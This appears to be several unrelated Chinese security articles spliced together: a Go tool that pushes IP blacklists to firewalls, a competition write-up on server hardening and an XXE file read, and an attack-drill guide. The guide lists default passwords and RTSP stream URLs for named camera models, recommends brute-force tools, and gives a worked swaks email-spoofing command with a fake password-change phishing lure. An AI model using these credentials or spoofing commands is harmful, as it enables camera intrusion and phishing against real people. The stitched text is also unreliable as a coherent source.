	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动 shell 失败: %v\n", err)
	}

	commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(300 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

这里采用了监听回显,核心代码是

commands := []string{
		"system-view",
		fmt.Sprintf("object-group ip  %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network host address %s", ip))
	}
	commands = append(commands, "exit")

当然这里可以增加优化,代码内关于ip地址的添加以及删除等操作都可以做,工具后期可以依托命令功能增加多个模块化设计,当然为了降低操作风险的话,这里黑名单封禁的操作足够使用了。

山石防火墙

山石登录方式是telnet登录使用命令操作

import (
	"BT_supertoolsV2/utils"
	"fmt"
	"strings"
	"time"

	"github.com/reiver/go-telnet"
)

type HSConfig struct {
	Name         string `json:"name"`
	DeviceIP     string `json:"device_ip"`
	TelnetPort   int    `json:"telnet_port"`
	Username     string `json:"username"`
	Password     string `json:"password"`
	AddressGroup string `json:"address_group"`
	Type         string `json:"type"`
}

func AddIPsToHillstone(cfg HSConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))

	// IP 规则化处理
	normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
	if normalizedIPs == "" {
		return "没有有效的 IP 地址!"
	}
	ipList := strings.Split(normalizedIPs, "\n")

	// 连接 Telnet
	address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
	conn, err := telnet.DialTo(address)
	if err != nil {
		return fmt.Sprintf("Telnet 连接失败: %v\n", err)
	}
	defer conn.Close()

	// 封装发送命令函数
	send := func(cmd string) {
		conn.Write([]byte(cmd + "\n"))
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
	}

	// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
	send(cfg.Username)
	send(cfg.Password)
	send("conf")
	for _, ip := range ipList {
		send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
	}
	send("exit")

	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

山石防火墙的命令基本和华三防火墙的命令基本一致,目前基本上可以支持大多数版本型号的防火墙,使用前可以做测试。

网盾K01

网盾K01的话这里采用的是关于api的利用,目前关于网盾K01的黑名单添加的模式是和防火墙不一致的,可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。

// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
	for _, device := range devices {
		appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))

		// 登录并获取 Token
		url := fmt.Sprintf("https://%s", device.IP)
		token := Login(url, device.Username, device.Password, output, device.Name)
		if token == "" {
			appendOutput(output, fmt.Sprintf("❌ 登录失败: %s", device.Name))
			continue
		}

		// 逐个 IP 添加到黑名单
		for _, ip := range ips {
			// 如果 IP 地址没有 CIDR 后缀,添加 "/32"
			if !strings.Contains(ip, "/") {
				ip += "/32"
			}

			// 打印调试日志,确认每个 IP 地址
			appendOutput(output, fmt.Sprintf("🔍 封禁 IP: %s", ip))

			// 准备请求 payload
			payload := map[string]interface{}{
				"color":       0,
				"device_mask": []int{224},
				"items": []map[string]interface{}{
					{
						"type":        0,
						"ip":          ip, // 这里单独封禁每个 IP 地址
						"timeout":     336,
						"time_type":   "3600",
						"device_mask": []int{224},
						"comment":     "自动封禁",
					},
				},
				"method": "add",
			}

			// 打印调试日志,确认请求 Payload
			payloadBytes, _ := json.Marshal(payload)
			// appendOutput(output, fmt.Sprintf("🔍 请求 Payload: %s", string(payloadBytes)))

			// 请求封禁
			req, err := http.NewRequest("POST", url+"/api/v1/security/iplist/save", bytes.NewBuffer(payloadBytes))
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 创建封禁请求失败: %s", err.Error()))
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 执行请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(output, fmt.Sprintf("❌ 封禁请求失败: %s", err.Error()))
				continue
			}
			defer resp.Body.Close()

			// // 打印调试日志,确认响应代码
			// appendOutput(output, fmt.Sprintf("🔍 响应状态: %s", resp.Status))

			// 解析响应
			body, _ := ioutil.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(output, fmt.Sprintf("❌ 解析封禁响应失败: %s", err.Error()))
				continue
			}

			// // 打印调试日志,确认响应结果
			// appendOutput(output, fmt.Sprintf("🔍 响应结果: %v", result))

			// 根据结果显示成功或失败
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(output, fmt.Sprintf("✅ 添加成功: %s", ip))
			} else {
				appendOutput(output, fmt.Sprintf("❌ 添加失败: %v", result["msg"]))
			}
		}
	}
}

// DeleteBlacklist 删除 IP 从黑名单
func DeleteBlacklist(devices []K01Device, selected []int, ipList []string, outputBox *widget.Entry) {
	for _, idx := range selected {
		device := devices[idx] // 获取当前选择的设备
		url := fmt.Sprintf("https://%s", device.IP)

		// 输出正在登录设备信息
		appendOutput(outputBox, fmt.Sprintf("🔄 正在登录设备【%s】...", device.Name))

		// 登录设备,获取 token
		token := Login(url, device.Username, device.Password, outputBox, device.Name)
		if token == "" {
			appendOutput(outputBox, fmt.Sprintf("❌ 设备【%s】登录失败,无法删除黑名单", device.Name))
			continue
		}

		// 遍历 IP 列表,直接进行删除操作
		for _, ip := range ipList {
			apiUrl := fmt.Sprintf("%s/api/v1/security/iplist/save", url)
			payload := fmt.Sprintf(`{
				"color": 0,
				"items": [{"id": "%s/32;0;0", "type": 0, "ip": "%s/32", "device_mask": [224]}],
				"method": "delete"
			}`, ip, ip)

			// 创建请求
			req, err := http.NewRequest("POST", apiUrl, bytes.NewBuffer([]byte(payload)))
			if err != nil {
				appendOutput(outputBox, "❌ 创建删除请求失败: "+err.Error())
				continue
			}
			req.Header.Set("Authorization", "Bearer "+token)
			req.Header.Set("Content-Type", "application/json")

			// 发送请求
			resp, err := insecureClient.Do(req)
			if err != nil {
				appendOutput(outputBox, "❌ 删除请求失败: "+err.Error())
				continue
			}
			defer resp.Body.Close()

			// 读取响应
			body, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				appendOutput(outputBox, "❌ 读取删除响应失败: "+err.Error())
				continue
			}

			// 解析响应
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				appendOutput(outputBox, "❌ 解析删除响应失败: "+err.Error())
				continue
			}

			// 检查删除是否成功
			if success, ok := result["success"].(bool); ok && success {
				appendOutput(outputBox, fmt.Sprintf("✅ 删除成功,IP: %s", ip))
			} else {
				// 如果失败,输出错误信息
				if msg, ok := result["msg"].(string); ok {
					appendOutput(outputBox, fmt.Sprintf("❌ 删除失败: %s", msg))
				} else {
					appendOutput(outputBox, "❌ 删除失败,未知错误")
				}
			}
		}
	}

关于api的调用的话是有其自己的参数规则的,因为认证方式是https,所以关于身份认证的话需要忽略ssl证书。因为考虑到删除函数的逻辑需先查询要封禁的黑名单是否在黑名单列表,所以这里就执行的是直接删除,否则就删除失败,但是对于功能性的查询模块的功能是有的,由于网盾k01的产品特性,一点发现全网阻断,所以这里基本上用不到删除黑名单的功能。

QAX网神防火墙

网神联动利用的是ssh登录执行命令,所以这里权限也相对来说比较大,对于蓝队来讲不建议增加其它代码功能,原理也是利用策略引用地址簿进行封禁

func AddIPsToQAX(cfg QAXConfig, ips []string) string {
	var output strings.Builder
	output.WriteString(fmt.Sprintf("=== 开始配置奇安信设备 %s ===\n\n", cfg.DeviceIP))

	config := &ssh.ClientConfig{
		User: cfg.Username,
		Auth: []ssh.AuthMethod{
			ssh.Password(cfg.Password),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         15 * time.Second,
	}

	client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
	if err != nil {
		return fmt.Sprintf("SSH连接失败: %v\n", err)
	}
	defer client.Close()

	session, err := client.NewSession()
	if err != nil {
		return fmt.Sprintf("创建会话失败: %v\n", err)
	}
	defer session.Close()

	stdin, err := session.StdinPipe()
	if err != nil {
		return fmt.Sprintf("获取输入管道失败: %v\n", err)
	}

	modes := ssh.TerminalModes{
		ssh.ECHO:          0,
		ssh.TTY_OP_ISPEED: 14400,
		ssh.TTY_OP_OSPEED: 14400,
	}
	if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
		return fmt.Sprintf("设置终端失败: %v\n", err)
	}
	if err := session.Shell(); err != nil {
		return fmt.Sprintf("启动shell失败: %v\n", err)
	}

	commands := []string{
		"config terminal",
		fmt.Sprintf("object address %s", cfg.AddressGroup),
	}
	for _, ip := range ips {
		commands = append(commands, fmt.Sprintf("network %s 32", ip))
	}
	commands = append(commands, "exit")

	for _, cmd := range commands {
		fmt.Fprintf(stdin, "%s\n", cmd)
		time.Sleep(500 * time.Millisecond)
		output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
	}
	output.WriteString("\n=== 配置完成 ===\n")
	return output.String()
}

向地址簿中添加ip地址核心代码

commands := []string{
	"config terminal",
	fmt.Sprintf("object address %s", cfg.AddressGroup),
}
for _, ip := range ips {
	commands = append(commands, fmt.Sprintf("network %s 32", ip))
}
commands = append(commands, "exit")

目前我也是查询了多款网神防火墙的手册,关于地址簿添加这块儿的命令版本是没有变化的,基本上支持大多数版本型号。

SXF_AF和WAF

这里SXF的设备是有两种模式可供选择的,但是目前SXF的ssh登录一般是由两段密码组成还有可能经常性的修改,所以这里使用的API的方式向地址簿中添加要封禁的IP地址,但是这里的话,策略务必要配置正确。

// 新增的结构体,用于表示包含 devices 字段的 JSON 数据结构
type DeviceList struct {
	Devices []SXFDevice `json:"devices"`
}

// 登录响应结构体
type loginResponse struct {
	Code int `json:"code"`
	Data struct {
		LoginResult struct {
			Token string `json:"token"`
		} `json:"loginResult"`
	} `json:"data"`
	Message string `json:"message"`
}

// 添加 IP 请求结构体
type ipRange struct {
	Start string `json:"start"`
}

type addIPRequest struct {
	IPRanges []ipRange `json:"ipRanges"`
}

// ✅ 防冲突:明确为 SXF 的登录函数
// 登录获取 token
func SXFLogin(device SXFDevice) (string, error) {
	// 打印设备信息,确保 IP、用户名和密码正确
	fmt.Printf("设备信息: IP=%s, Username=%s, Password=%s\n", device.IP, device.Username, device.Password)
	url := fmt.Sprintf("https://%s/api/v1/namespaces/public/login", device.IP)

	payload := map[string]string{
		"name":     device.Username,
		"password": device.Password,
	}
	jsonData, _ := json.Marshal(payload)

	client := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
	}
	resp, err := client.Post(url, "application/json", bytes.NewBuffer(jsonData))
	if err != nil {
		return "", fmt.Errorf("登录请求失败: %v", err)
	}
	defer resp.Body.Close()

	body, _ := io.ReadAll(resp.Body)

	// 打印响应内容进行调试
	fmt.Println("响应体内容:", string(body))

	var result struct {
		Code    int    `json:"code"`
		Message string `json:"message"`
		Data    struct {
			LoginResult struct {
				Token string `json:"token"`
			} `json:"loginResult"`
		} `json:"data"`
	}

	if err := json.Unmarshal(body, &result); err != nil {
		return "", fmt.Errorf("解析登录响应失败: %v", err)
	}

	// 检查返回的 code
	if result.Code != 0 {
		return "", fmt.Errorf("登录失败: %s", result.Message)
	}

	// 返回 token
	return result.Data.LoginResult.Token, nil
}

// 加载 JSON 文件并解析为设备切片
// 加载 JSON 文件并解析为设备切片
func loadSXFDevices(filePath string) ([]SXFDevice, error) {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return nil, fmt.Errorf("设备配置文件加载失败: %v", err)
	}

	// 输出加载的 JSON 数据(用于调试)
	fmt.Printf("加载的 JSON 数据: %s\n", string(data))

	var devices []SXFDevice
	err = json.Unmarshal(data, &devices)
	if err != nil {
		return nil, fmt.Errorf("设备解析失败: %v", err)
	}

	// 输出解析后的设备信息(调试)
	fmt.Printf("加载的设备数量: %d\n", len(devices))
	for _, device := range devices {
		// 输出每台设备的详细信息,特别是 AddressGroup 字段
		fmt.Printf("设备信息:Name=%s, IP=%s, AddressGroup=%s\n", device.Name, device.IP, device.AddressGroup)
	}

	return devices, nil
}

// ✅ 添加多个 IP 到 SXF 地址组(支持日志回调)
// 在 AddToSXFBlacklist 函数内部,确保请求头正确设置
// 设备添加到黑名单的函数
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
// 添加多个 IP 到 SXF 地址组(支持日志回调)
// AddToSXFBlacklist 将 IP 地址添加到 SXF 防火墙的黑名单
func AddToSXFBlacklist(devices []SXFDevice, ips []string, logFn func(string)) error {

	for _, device := range devices {
		// 1. 登录
		token, err := SXFLogin(device)
		if err != nil {
			logFn(fmt.Sprintf("【%s】❌ 登录失败: %v", device.Name, err))
			continue
		}
		logFn(fmt.Sprintf("【%s】✅ 登录成功", device.Name))

		// 2. 添加每个IP
		for _, ip := range ips {
			ipRanges := []map[string]string{{"start": ip, "end": ip}}
			requestData := map[string]interface{}{"ipRanges": ipRanges}
			requestDataJSON, _ := json.Marshal(requestData)

			// 3. 发送请求
			url := fmt.Sprintf(
				"https://%s/api/v1/namespaces/public/ipgroups/%s?_arrayop=add",
				device.IP,
				device.AddressGroup,
			)
			req, _ := http.NewRequest("PATCH", url, bytes.NewBuffer(requestDataJSON))
			req.Header = http.Header{
				"token":        []string{token},
				"Content-Type": []string{"application/json"},
			}

			client := &http.Client{
				Transport: &http.Transport{
					TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
				},
			}
			resp, err := client.Do(req)
			if err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %v", device.Name, ip, err))
				continue
			}
			defer resp.Body.Close()

			// 4. 处理响应
			body, _ := io.ReadAll(resp.Body)
			var result map[string]interface{}
			if err := json.Unmarshal(body, &result); err != nil {
				logFn(fmt.Sprintf("【%s】❌ IP %s 响应解析失败: %v", device.Name, ip, err))
				continue
			}

			if code, ok := result["code"].(float64); ok && code == 0 {
				logFn(fmt.Sprintf("【%s】✅ IP %s 已添加到地址组[%s]",
					device.Name, ip, device.AddressGroup))
			} else {
				msg, _ := result["message"].(string)
				logFn(fmt.Sprintf("【%s】❌ IP %s 添加失败: %s", device.Name, ip, msg))
			}
		}
	}
	return nil
}

如果想要扩展功能的话不建议使用API去扩展,毕竟太麻烦了,各种参数比较麻烦,没有ssh的方式登录使用命令操作简便。

整体界面效果

总结

其它厂商的防火墙确实没找到手册,有的是找到手册没有测试的设备,目前上述的设备和代码是完全没有问题的,如果想添加其它厂商的设备,可以给我操作手册,我这边更新新版本发布。每次更新后的授权时间是3个月

前言

刚好有机会接触到卫生行业的运维赛,这里只有机会接触到测试赛,简单谢谢wp吧,测试赛的话主办方也是用心了的,难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】 模拟了一台公网上的服务器,内置 MYSQL\SSH\WEB 等应用服务,但是因为安全意识不到位导致该服务器存在若干安全风险,现在要求对该服务器实施断网并作全方面的安全检查,由于服务的迁移,在系统中保留了一些历史服务的流量包,需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现:密码有效期90天、连续输错三次密码,账号锁定五分钟。

2、通过修改mysql相关配置实现:开启数据库查询日志、限制任意地址登录,只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值,写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置(恶意配置后门请直接删除)。

5、还有其他的一些要求,但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作,如果因为修改密码或私钥导致无法得分,选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离,如果因为隔离IP导致无法得分,选手自行负责。

【接入信息】

1、SSH服务端口22,账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh,发现处于docker容器内,其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次,锁定5分钟

vim /etc/pam.d/sshd

auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件

auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除,因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制,删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql

SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf

bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题,没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的,但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /:从根目录开始查找(你也可以指定特定的目录,例如 /usr/bin)。

-type f:只查找文件,不查找目录。

-perm -4000:查找设置了 SUID 权限的文件(SUID 权限对应的数字是 4000)。

-ls:显示详细信息,包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下,一般whoami权限是没有suid权限的,所以这个文件被动过,所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务,注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字,追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录,发现属于xxe的报错,构造xxe语句

system是可执行文件,url路径需要传参,fuzz无果手工测试

回显显示需要参数,简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计,审计即可,因为前期导完数据包的时候环境有问题,修改配置文件无法SFTP连接获取源码,所以就黑盒进行FUZZ了。

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 RTSP奇特之旅前言

浅谈

哈咯,师傅们,好久不见!

已经很久没有写文章了,这次简单写一个蛮有意思的案例,也是在最近攻防演练中遇到的。

其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞,因为之前有看过文章简单了解过,主要就是打弱口令和未授权访问漏洞,然后一般就是比较敷衍的使用爆破工具爆破下,有无弱口令,或者使用字典目录遍历下。

像下面的我就喜欢使用无影tools的爆破模块

把目标导入即可,然后选择RTSP的554端口进行爆破,字典可以选择内置的字典

其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大,且平常挖src漏洞之类的,也不怎么碰的到。但是这次攻防演练嘛,有些东西在平常可能没多大的利用的价值,但是打攻防说不定就是可以打分打权限的那种,下面就来介绍下这个RTSP漏洞。

其中主要还是在网上看了很多的打法和文章资料,在网上尝试了蛮多的工具,发现一款GitHub上面的新利用RTSP漏洞一键利用的工具,然后结合这次资产刚好有,就利用起来了。

然后这次我开始也是简单的爆破下,因为这次是攻防演练嘛,然后是某单位的资产,且有好多下级部门的厂商视频监控管理系统,所以对应的监控大都是RTSP协议的,集群远程管理。

且这次的攻防演练目标资产比较多,范围比较广,只要是属于该市的资产都可以,还有一些企业的都可以,像很多的监控系统都带有远程管理操作,所以有部分都是RTSP协议的,且这个漏洞在平常接触比较少,就比如我平常挖src对这个漏洞基本上没有太多的操作。

下面是我简单收集的一些资产表格如下:

0x2 众测捡钱小技巧(拓展)

一、浅谈

上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞,比如我这里要讲的RTSP漏洞,这个漏洞的话主要是在攻防演练中,我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分,因为在攻防演练中主要是通过拿数据分和权限分,特别是你打进内网,像这样的监控系统肯定很多,这样就可以帮助你拿比较多的权限分。

这里给师傅们看下某些评分标准:

下面我来给师傅们讲下众测中,我一般第一先测试的漏洞——SPF邮件伪造漏洞。

具体的测试方法,我下面有很详细的测试手法,其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本,其中我自己也是利用这些脚本去测试的,因为在众测中,得拼手速了,具体的脚本我这里就不放上去了,因为脚本内容因人而异,最好自己修改下。

其实在攻防演练中也是可以利用SPF邮件伪造漏洞的,可以使用SPF邮件伪造去钓鱼,收集目标资产的邮箱,然后去钓鱼攻击,也是一种方法,在护网期间,钓鱼攻击是特别常态且使用特别多的一种方式。

二、SPF邮件伪造漏洞

针对师傅们对于SPF邮件伪造漏洞的拓展,师傅们可以看我之前写的那篇原创文章:https://xz.aliyun.com/news/14752

这里就引用这篇文章的SPF邮件伪造漏洞,写的蛮详细的,师傅们可以参考学习下,然后后面在众测项目上去赚点漏洞赏金。

1、spf邮件伪造漏洞简介:

SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件

SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

2、漏洞危害:

可以用未进行安全配置的网站域名,发送邮件。

比如:www.baidu.com有这个漏洞,你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。

src收的少,但是重测和渗透测试项目可以交。

  • 注意:如果没有v=spf1或者没spf就存在邮件伪造漏洞。
  • -all 不能伪造,all可以伪造

3、测试漏洞

我们直接拿baidu.com的域名来给大家演示下,用kali的nslookup 工具测试下

可以看到下面的回显,存在spf记录,是-all参数,说明不能任意伪造。

┌──(root-kali)-[~]
└─# nslookup -type=txt baidu.com

还可以使用dig -t命令来测试

┌──(root-kali)-[~]
└─# dig -t txt baidu.com

4、SPF解析不当导致绕过

把下面的spf配置记录复制下来

测试地址如下:

https://www.kitterman.com/spf/validate.html

这里显示spf解析配置正确

下面拿一个存在spf解析错误的案例来演示下:

SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。

5、swaks 测试

使用kali自带工具swaks 测试

swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
body为内容
Subject为标题
-t为目标邮箱
-f为伪造的发送方,这里我们伪造加了cn字眼,这里伪造改不明显字眼等都会进垃圾箱

我们先申请一个临时邮箱:

http://24mail.chacuo.net/

然后我们使用kali自带的swaks 工具进行测试,结果如下

┌──(root-kali)-[~]
└─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码,请及时修改密码确保账户安全 手机管家@163.com
【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com


看到这里,我们要是对标题和内容进行改进,那么我们是不是就可以尝试钓一波鱼了呢?

0x3 RTSP协议漏洞介绍

一、协议分析

  • RTSP(实时流协议)是一个网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架,使得能够实现对实时数据,如音频和视频的控制。与HTTP不同,RTSP提供了对流数据的实时控制功能,比如可以随意快进或倒退。

  • RTSP 主要用于以下场景:

    1、视频监控系统,会议视频

    2、IP摄像头监控(企业、大街、工厂的监控头)

    3、媒体播放器与媒体服务器之间的交互

    4、智能家居设备,比如:门铃、智能汽车行车仪等

  • RTSP 协议通常运行在 TCP 或 UDP 协议之上,使用的端口是554,不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令,以及进行实时播放位置的调整。

二、RTSP认证方式

1、Basic认证(基本认证)

基本认证是HTTP 1.0 提出的认证方案,其消息传输不经过加密转换因此存在严重的安全隐患。

服务端在未认证时返回401Unauthorized,并带上WWW-Authenticate: Basic realm="RTSP Server"头,要求客户端提供凭据。

1) 客户端发送 DESCRIBE 请求

DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n 
Accept: application/sdp\\r\\n 
User-agent: Realplayer\\r\\n\\r\\n

2)服务端发出 WWW-Authenticate 认证响应

服务端返回401错误码,发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。

RTSP/1.0 401 Unauthorized\r\n 
CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n

3)客户端再次发出 DESCRIBE 请求

此时客户端程序弹出密码认证窗口 ,提示输入用户名,密码等认证信息,并根据服务端返回的响应消息中进处理,如果发现是 Basic认证则携带认证信息发送如下报文:

DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n 
Accept: application/sdp\r\n 
User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\

其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码,明文发送泄漏后存在安全风险。

2、Digest认证(摘要认证)

摘要认证是http 1.1提出的基本认证的替代方案,其消息经过MD5哈希转换因此具有更高的安全性。

避免了直接明文传输密码的风险。但是 MD5 哈希较弱,仍然可以通过 彩虹表等方式破解。

三、RTSP认证流量监测

首先,这里你去了解RTSP认证流量,得先安装两款工具,工具是使用Wireshark和VLC视频播放工具。

1、Wireshark下载地址

https://www.wireshark.org/download.html

2、VLC视频播放工具

https://www.videolan.org/vlc/index.zh_CN.html

因为我的电脑上macbook,所以打开VLC和使用如下操作(windows的操作也是差不多的)

1、默认下载下来是英文的,直接可以设置中文的

选择Language,然后选择简体中文,重启软件就好了

2、打开 VLC 主界面,选择File > OpenNetwork(中文版为媒体 > 打开网络串流

3、在弹出的对话框输入直播流播放地址,然后点击打开即可查看监控视频画面了

3、认证流量监测

使用Wireshark和VLC视频播放工具

获取rtsp协议认证方式,可以发送options和describe请求进行,如下图所示,获取到认证方式为401 Basic和Digest, 如果返回的状态码为200,说明存在未授权访问。

0x4 RTSP漏洞攻击

一、主流摄像头安全问题汇总

1、警卫视摄像头

型号:qs-qy
连接密码:密码默认为空

rtsp连接地址:

rtsp://admin@IP:554/live/ch00_1

2、乐橙摄像头

型号:LC-S2D
rtsp密码:摄像头底部安全码    
rtsp连接地址:
rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=0

3、tp-link摄像头

设备型号:TL-IPC44AW
rtsp密码:默认为空
rtsp连接地址:
rtsp://admin@IP:554/stream1   

4、萤石摄像头

设备型号:CS-C6
rtsp密码:摄像头底部安全码
rtsp连接地址:
rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream

5、乔安智联摄像头

设备型号:JA-C10E
rtsp密码:空密码
rtsp连接地址:
rtsp://admin@IP:554/live/ch00_1

6、帝防摄像头

设备型号:JA-C10E
rtsp连接地址:
rtsp://admin:admin11@IP:554/onvif1   

7、Cubetoou摄像头

设备型号:Q88
rtsp连接地址:
rtsp://admin:123a123a@IP:554/onvif1

8、 icam365摄像头

设备型号:GI-2304
rtsp连接地址:
rtsp://admin:admin@IP/live.sdp

思路:
①指纹识别    
发送rtsp请求,根据server头找到设备型号为TAS-Tech

②查找设备rtsp地址和密码
在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
连接地址为:rtsp://admin:admin@IP/live.sdp

二、RTSP爆破

  • RTSP协议认证主要有Basic和Digest两种
  • 它的RTSP URL通常是这样的 rtsp://admin:admin@192.168.1.56:554/live/sys01

对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本,都可以尝试使用,但是我自己使用了好几个,都感觉差点意思,首先对于打攻防演练中,批量去测试,且需要对测试出来的IP地址进行归类,然后显示和判断出有价值的信息的,且导出页面可视化效果不好,其次好多针对呀RTSP这个漏洞目前汇总的字典不够全,爆破起来不是那么那啥,得自己汇总针对性的字典。

三、RTSP协议爆破工具

我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。

特别是对于新手师傅们,可能更喜欢在网上找些github项目的图形化GUI的项目试试,我这里也是找到了一个工具,蛮不错的,图形化操作,内置字典都还不错

GitHub地址:

https://github.com/returnwrong/RTSP-Cracker-Pro

师傅们要是觉得这个工具还不错,看完我的文章以后可以挖到这类漏洞了,可以给作者点个star关注

